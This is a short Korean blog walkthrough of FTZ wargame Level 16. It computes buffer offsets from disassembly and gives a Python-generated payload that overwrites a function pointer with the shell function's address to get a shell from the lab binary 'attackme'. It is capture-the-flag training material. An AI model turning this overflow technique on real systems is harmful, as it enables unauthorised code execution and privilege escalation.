ii4gsp
FTZ - Level16 본문
fgets()함수때문에 ret조작은 불가능하고 *call의 주소 값을 shell함수 주소로 조작해주면 될 것 같다.
<main+24> - 0xffffffc8은 [ebp-56]
즉, buf에서 ebp까지의 거리는 56이다.
<main+36> - 0xfffffff0은 [ebp-16]
call에서 ebp까지의 거리는 16이다.
buf에서 call까지의 거리는 56 - 16 = 40
shell함수의 시작 주소는 0x080484d0이다
buf ~ call까지의 거리를 쓰레기 값으로 덮어주고 + shell함수 주소를 리틀 엔디언 방식으로 덮어주면 될 것이다.
payload
(python -c 'print "\x90" * 40 + "\xd0\x84\x04\x08"';cat) | ./attackme
'시스템 해킹 > FTZ' 카테고리의 다른 글
FTZ - Level18 (0) | 2020.01.11 |
---|---|
FTZ - Level17 (0) | 2020.01.10 |
FTZ - Level15 (0) | 2020.01.10 |
FTZ - Level14 (0) | 2020.01.09 |
FTZ - Level13 (0) | 2020.01.08 |
Comments